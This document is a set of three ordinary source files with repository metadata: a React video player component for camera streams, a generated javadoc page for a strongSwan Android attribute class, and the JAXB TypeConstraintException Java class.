import React from 'react'; import PropTypes from 'prop-types'; import VideoStream from './VideoStream.js'; import Toolbar from './Toolbar.js'; import PlayButtonIcon from '../icons/PlayButtonIcon.js'; import StopButtonIcon from '../icons/StopButtonIcon.js'; import ExpandIcon from '../icons/ExpandIcon.js'; import fscreen from 'fscreen'; import './VideoPlayer.css'; const controlsHideDelay = 3000; export class VideoPlayer extends React.Component { constructor (props) { super(props); // Copying props to state here because we specifically only care about // the autoplay prop during the first render. this.state = { isPlaying: this.props.autoplay, isFullScreen: false, hasPlayedOnce: false, currentPlayLocation: 0, shouldShowControls: this.props.showControlsWhenStopped || this.props.autoplay }; this.element = React.createRef(); this.handleClick = this.handleClick.bind(this); this.handleFullScreenClick = this.handleFullScreenClick.bind(this); this.updateFullScreenState = this.updateFullScreenState.bind(this); this.showHideControls = this.showHideControls.bind(this); } componentDidMount () { fscreen.addEventListener('fullscreenchange', this.updateFullScreenState); // For autoplay, hide controls after delay. if (this.state.shouldShowControls) { this.showHideControls(); } } componentDidUpdate (previousProps, previousState) { if (!previousState.isPlaying && this.state.isPlaying && typeof this.props.onPlay === 'function') { this.props.onPlay(); } else if (previousState.isPlaying && !this.state.isPlaying && typeof this.props.onStop === 'function') { this.props.onStop(); } if (!previousState.isFullScreen && this.state.isFullScreen) { this.enterFullScreen(); } else if (previousState.isFullScreen && !this.state.isFullScreen) { this.exitFullScreen(); } } componentWillUnmount () { fscreen.removeEventListener('fullscreenchange', this.updateFullScreenState); clearTimeout(this.controlsTimeout); } handleClick () { if (this.state.isPlaying) { this.stop(); } else { this.play(); } } handleFullScreenClick (event) { event.stopPropagation(); this.setState({isFullScreen: !this.state.isFullScreen}); } updateFullScreenState () { this.setState({isFullScreen: this.isFullScreen()}); } isFullScreen () { return this.element.current === fscreen.fullscreenElement; } enterFullScreen () { if (fscreen.fullscreenEnabled) { fscreen.requestFullscreen(this.element.current); } } exitFullScreen () { if (fscreen.fullscreenEnabled) { fscreen.exitFullscreen(); this.showHideControls(); } } showHideControls (forceShow) { this.setState({shouldShowControls: this.state.isPlaying || this.props.showControlsWhenStopped || this.state.isFullScreen || forceShow}); clearTimeout(this.controlsTimeout); this.controlsTimeout = setTimeout(() => { this.setState({shouldShowControls: (!this.state.isPlaying && (this.props.showControlsWhenStopped || this.state.isFullScreen)) || false}); }, controlsHideDelay); } play () { this.setState({ isPlaying: true, hasPlayedOnce: true }); this.showHideControls(); } getVideoWidth () { if (this.element) { if (this.element.current) { return this.element.current.clientWidth; } } return 0; } getVideoHeight () { if (this.element) { if (this.element.current) { return this.element.current.clientHeight; } } return 0; } stop () { this.setState({ isPlaying: false, shouldShowControls: this.props.showControlsWhenStopped || this.state.isFullScreen }); } getAspectRatioPaddingTop () { const aspectRatio = this.props.height / this.props.width; return (aspectRatio * 100) + '%'; } getMotionWidth () { const width1 = this.props.motionArea.p1[0] * this.getVideoWidth(), width2 = this.props.motionArea.p2[0] * this.getVideoWidth(); let width = width2 - width1; if (!this.props.firstPointSet && !this.props.firstLoad) { width = 0; } return width; } getMotionHeight () { const width1 = this.props.motionArea.p1[1] * this.getVideoHeight(), width2 = this.props.motionArea.p2[1] * this.getVideoHeight(); let width = width2 - width1; if (!this.props.firstPointSet && !this.props.firstLoad) { width = 0; } return width; } render () { return ( <div onKeyDown={this.handleKeyPress} styleName={'player' + (this.state.isPlaying ? ' isPlaying' : '') + (this.state.isFullScreen ? ' isFullScreen' : '')} ref={this.element} onClick={this.handleClick} onMouseMove={() => this.showHideControls()}> <div styleName="overlay"> {this.state.isPlaying && this.props.shouldShowControls ? <StopButtonIcon size={64} shadowed={true} /> : null} {!this.state.isPlaying && this.props.shouldShowControls ? <PlayButtonIcon size={64} shadowed={true} /> : null} </div> <div styleName={'toolbar' + (this.props.shouldShowControls ? '' : ' isHidden')}> <Toolbar rightChildren={fscreen.fullscreenEnabled && <ExpandIcon size={22} isExpanded={this.state.isFullScreen} onClick={this.handleFullScreenClick} />} /> </div> {this.state.isPlaying && !this.props.recording && <span styleName="live">Live</span>} <div styleName="video"> <span styleName="aspectRatio" style={{paddingTop: this.getAspectRatioPaddingTop()}} /> {this.props.posterUrl && !this.state.hasPlayedOnce && <img styleName="poster" src={this.props.posterUrl}/>} <div styleName={'motionAreaOverlay'} style={this.props.motionArea ? { left: this.props.motionArea.p1[0] * this.getVideoWidth(), top: this.props.motionArea.p1[1] * this.getVideoHeight(), width: this.getMotionWidth(), height: this.getMotionHeight() } : {display: 'none'}} /> <VideoStream styleName="canvas" {...this.props} shouldStream={this.state.isPlaying} key={(this.props.recording && this.props.recording.id) || this.props.cameraServiceId} /> </div> </div> ); } } VideoPlayer.propTypes = { // NOTE: The VideoPlayer component should always be called with a key // property set to the ID of the recording or camera that is being streamed. cameraServiceId: PropTypes.string.isRequired, motionArea: PropTypes.object, firstLoad: PropTypes.bool, firstPointSet: PropTypes.bool, secondPointSet: PropTypes.bool, recording: PropTypes.object, streamingToken: PropTypes.string, posterUrl: PropTypes.string, autoplay: PropTypes.bool, showControlsWhenStopped: PropTypes.bool, shouldShowControls: PropTypes.bool, width: PropTypes.number.isRequired, height: PropTypes.number.isRequired, onPlay: PropTypes.func, onStop: PropTypes.func }; VideoPlayer.defaultProps = { showControlsWhenStopped: true }; export default VideoPlayer;
physiii/open-automation
src/views/components/VideoPlayer.js
JavaScript
gpl-2.0
6,791
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (1.8.0_05) on Tue Sep 16 13:34:10 CEST 2014 --> <title>ProductInformationAttribute</title> <meta name="date" content="2014-09-16"> <link rel="stylesheet" type="text/css" href="../../../../../../stylesheet.css" title="Style"> <script type="text/javascript" src="../../../../../../script.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="ProductInformationAttribute"; } } catch(err) { } //--> var methods = {"i0":10}; var tabs = {65535:["t0","All Methods"],2:["t2","Instance Methods"],8:["t4","Concrete Methods"]}; var altColor = "altColor"; var rowColor = "rowColor"; var tableTab = "tableTab"; var activeTableTab = "activeTableTab"; </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar.top"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.top.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../index-all.html">Index</a></li> <li><a href="../../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../../../org/strongswan/android/logic/imc/attributes/PrivateEnterpriseNumber.html" title="enum in org.strongswan.android.logic.imc.attributes"><span class="typeNameLink">Prev&nbsp;Class</span></a></li> <li><a href="../../../../../../org/strongswan/android/logic/imc/attributes/SettingsAttribute.html" title="class in org.strongswan.android.logic.imc.attributes"><span class="typeNameLink">Next&nbsp;Class</span></a></li> </ul> <ul class="navList"> <li><a href="../../../../../../index.html?org/strongswan/android/logic/imc/attributes/ProductInformationAttribute.html" target="_top">Frames</a></li> <li><a href="ProductInformationAttribute.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li>Nested&nbsp;|&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor.summary">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method.summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor.detail">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method.detail">Method</a></li> </ul> </div> <a name="skip.navbar.top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <!-- ======== START OF CLASS DATA ======== --> <div class="header"> <div class="subTitle">org.strongswan.android.logic.imc.attributes</div> <h2 title="Class ProductInformationAttribute" class="title">Class ProductInformationAttribute</h2> </div> <div class="contentContainer"> <ul class="inheritance"> <li>java.lang.Object</li> <li> <ul class="inheritance"> <li>org.strongswan.android.logic.imc.attributes.ProductInformationAttribute</li> </ul> </li> </ul> <div class="description"> <ul class="blockList"> <li class="blockList"> <dl> <dt>All Implemented Interfaces:</dt> <dd><a href="../../../../../../org/strongswan/android/logic/imc/attributes/Attribute.html" title="interface in org.strongswan.android.logic.imc.attributes">Attribute</a></dd> </dl> <hr> <br> <pre>public class <span class="typeNameLabel">ProductInformationAttribute</span> extends java.lang.Object implements <a href="../../../../../../org/strongswan/android/logic/imc/attributes/Attribute.html" title="interface in org.strongswan.android.logic.imc.attributes">Attribute</a></pre> <div class="block">PA-TNC Product Information attribute (see section 4.2.2 of RFC 5792) 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Product Vendor ID | Product ID | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Product ID | Product Name (Variable Length) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</div> </li> </ul> </div> <div class="summary"> <ul class="blockList"> <li class="blockList"> <!-- ======== CONSTRUCTOR SUMMARY ======== --> <ul class="blockList"> <li class="blockList"><a name="constructor.summary"> <!-- --> </a> <h3>Constructor Summary</h3> <table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation"> <caption><span>Constructors</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colOne" scope="col">Constructor and Description</th> </tr> <tr class="altColor"> <td class="colOne"><code><span class="memberNameLink"><a href="../../../../../../org/strongswan/android/logic/imc/attributes/ProductInformationAttribute.html#ProductInformationAttribute--">ProductInformationAttribute</a></span>()</code>&nbsp;</td> </tr> </table> </li> </ul> <!-- ========== METHOD SUMMARY =========== --> <ul class="blockList"> <li class="blockList"><a name="method.summary"> <!-- --> </a> <h3>Method Summary</h3> <table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation"> <caption><span id="t0" class="activeTableTab"><span>All Methods</span><span class="tabEnd">&nbsp;</span></span><span id="t2" class="tableTab"><span><a href="javascript:show(2);">Instance Methods</a></span><span class="tabEnd">&nbsp;</span></span><span id="t4" class="tableTab"><span><a href="javascript:show(8);">Concrete Methods</a></span><span class="tabEnd">&nbsp;</span></span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tr id="i0" class="altColor"> <td class="colFirst"><code>byte[]</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../org/strongswan/android/logic/imc/attributes/ProductInformationAttribute.html#getEncoding--">getEncoding</a></span>()</code> <div class="block">Returns the binary encoding of the attribute</div> </td> </tr> </table> <ul class="blockList"> <li class="blockList"><a name="methods.inherited.from.class.java.lang.Object"> <!-- --> </a> <h3>Methods inherited from class&nbsp;java.lang.Object</h3> <code>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</code></li> </ul> </li> </ul> </li> </ul> </div> <div class="details"> <ul class="blockList"> <li class="blockList"> <!-- ========= CONSTRUCTOR DETAIL ======== --> <ul class="blockList"> <li class="blockList"><a name="constructor.detail"> <!-- --> </a> <h3>Constructor Detail</h3> <a name="ProductInformationAttribute--"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>ProductInformationAttribute</h4> <pre>public&nbsp;ProductInformationAttribute()</pre> </li> </ul> </li> </ul> <!-- ============ METHOD DETAIL ========== --> <ul class="blockList"> <li class="blockList"><a name="method.detail"> <!-- --> </a> <h3>Method Detail</h3> <a name="getEncoding--"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>getEncoding</h4> <pre>public&nbsp;byte[]&nbsp;getEncoding()</pre> <div class="block"><span class="descfrmTypeLabel">Description copied from interface:&nbsp;<code><a href="../../../../../../org/strongswan/android/logic/imc/attributes/Attribute.html#getEncoding--">Attribute</a></code></span></div> <div class="block">Returns the binary encoding of the attribute</div> <dl> <dt><span class="overrideSpecifyLabel">Specified by:</span></dt> <dd><code><a href="../../../../../../org/strongswan/android/logic/imc/attributes/Attribute.html#getEncoding--">getEncoding</a></code>&nbsp;in interface&nbsp;<code><a href="../../../../../../org/strongswan/android/logic/imc/attributes/Attribute.html" title="interface in org.strongswan.android.logic.imc.attributes">Attribute</a></code></dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>binary encoding</dd> </dl> </li> </ul> </li> </ul> </li> </ul> </div> </div> <!-- ========= END OF CLASS DATA ========= --> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar.bottom"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.bottom.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../index-all.html">Index</a></li> <li><a href="../../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../../../org/strongswan/android/logic/imc/attributes/PrivateEnterpriseNumber.html" title="enum in org.strongswan.android.logic.imc.attributes"><span class="typeNameLink">Prev&nbsp;Class</span></a></li> <li><a href="../../../../../../org/strongswan/android/logic/imc/attributes/SettingsAttribute.html" title="class in org.strongswan.android.logic.imc.attributes"><span class="typeNameLink">Next&nbsp;Class</span></a></li> </ul> <ul class="navList"> <li><a href="../../../../../../index.html?org/strongswan/android/logic/imc/attributes/ProductInformationAttribute.html" target="_top">Frames</a></li> <li><a href="ProductInformationAttribute.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li>Nested&nbsp;|&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor.summary">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method.summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor.detail">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method.detail">Method</a></li> </ul> </div> <a name="skip.navbar.bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </body> </html>
ldelpri/strongProva
docs/org/strongswan/android/logic/imc/attributes/ProductInformationAttribute.html
HTML
gpl-2.0
11,492
/* * Copyright 2005-2006 Sun Microsystems, Inc. All Rights Reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Sun designates this * particular file as subject to the "Classpath" exception as provided * by Sun in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa Clara, * CA 95054 USA or visit www.sun.com if you need additional information or * have any questions. */ package javax.xml.bind; /** * This exception indicates that a violation of a dynamically checked type * constraint was detected. * * <p> * This exception can be thrown by the generated setter methods of the schema * derived Java content classes. However, since fail-fast validation is * an optional feature for JAXB Providers to support, not all setter methods * will throw this exception when a type constraint is violated. * * <p> * If this exception is throw while invoking a fail-fast setter, the value of * the property is guaranteed to remain unchanged, as if the setter were never * called. * * @author <ul><li>Ryan Shoemaker, Sun Microsystems, Inc.</li><li>Joe Fialli, Sun Microsystems, Inc.</li></ul> * @version $Revision: 1.1 $ * @see ValidationEvent * @since JAXB1.0 */ public class TypeConstraintException extends java.lang.RuntimeException { /** * Vendor specific error code * */ private String errorCode; /** * Exception reference * */ private Throwable linkedException; /** * Construct a TypeConstraintException with the specified detail message. The * errorCode and linkedException will default to null. * * @param message a description of the exception */ public TypeConstraintException(String message) { this( message, null, null ); } /** * Construct a TypeConstraintException with the specified detail message and vendor * specific errorCode. The linkedException will default to null. * * @param message a description of the exception * @param errorCode a string specifying the vendor specific error code */ public TypeConstraintException(String message, String errorCode) { this( message, errorCode, null ); } /** * Construct a TypeConstraintException with a linkedException. The detail message and * vendor specific errorCode will default to null. * * @param exception the linked exception */ public TypeConstraintException(Throwable exception) { this( null, null, exception ); } /** * Construct a TypeConstraintException with the specified detail message and * linkedException. The errorCode will default to null. * * @param message a description of the exception * @param exception the linked exception */ public TypeConstraintException(String message, Throwable exception) { this( message, null, exception ); } /** * Construct a TypeConstraintException with the specified detail message, * vendor specific errorCode, and linkedException. * * @param message a description of the exception * @param errorCode a string specifying the vendor specific error code * @param exception the linked exception */ public TypeConstraintException(String message, String errorCode, Throwable exception) { super( message ); this.errorCode = errorCode; this.linkedException = exception; } /** * Get the vendor specific error code * * @return a string specifying the vendor specific error code */ public String getErrorCode() { return this.errorCode; } /** * Get the linked exception * * @return the linked Exception, null if none exists */ public Throwable getLinkedException() { return linkedException; } /** * Add a linked Exception. * * @param exception the linked Exception (A null value is permitted and * indicates that the linked exception does not exist or * is unknown). */ public synchronized void setLinkedException( Throwable exception ) { this.linkedException = exception; } /** * Returns a short description of this TypeConstraintException. * */ public String toString() { return linkedException == null ? super.toString() : super.toString() + "\n - with linked exception:\n[" + linkedException.toString()+ "]"; } /** * Prints this TypeConstraintException and its stack trace (including the stack trace * of the linkedException if it is non-null) to the PrintStream. * * @param s PrintStream to use for output */ public void printStackTrace( java.io.PrintStream s ) { if( linkedException != null ) { linkedException.printStackTrace(s); s.println("--------------- linked to ------------------"); } super.printStackTrace(s); } /** * Prints this TypeConstraintException and its stack trace (including the stack trace * of the linkedException if it is non-null) to <tt>System.err</tt>. * */ public void printStackTrace() { printStackTrace(System.err); } }
TheTypoMaster/Scaper
openjdk/jaxws/drop_included/jaxws_src/src/javax/xml/bind/TypeConstraintException.java
Java
gpl-2.0
6,104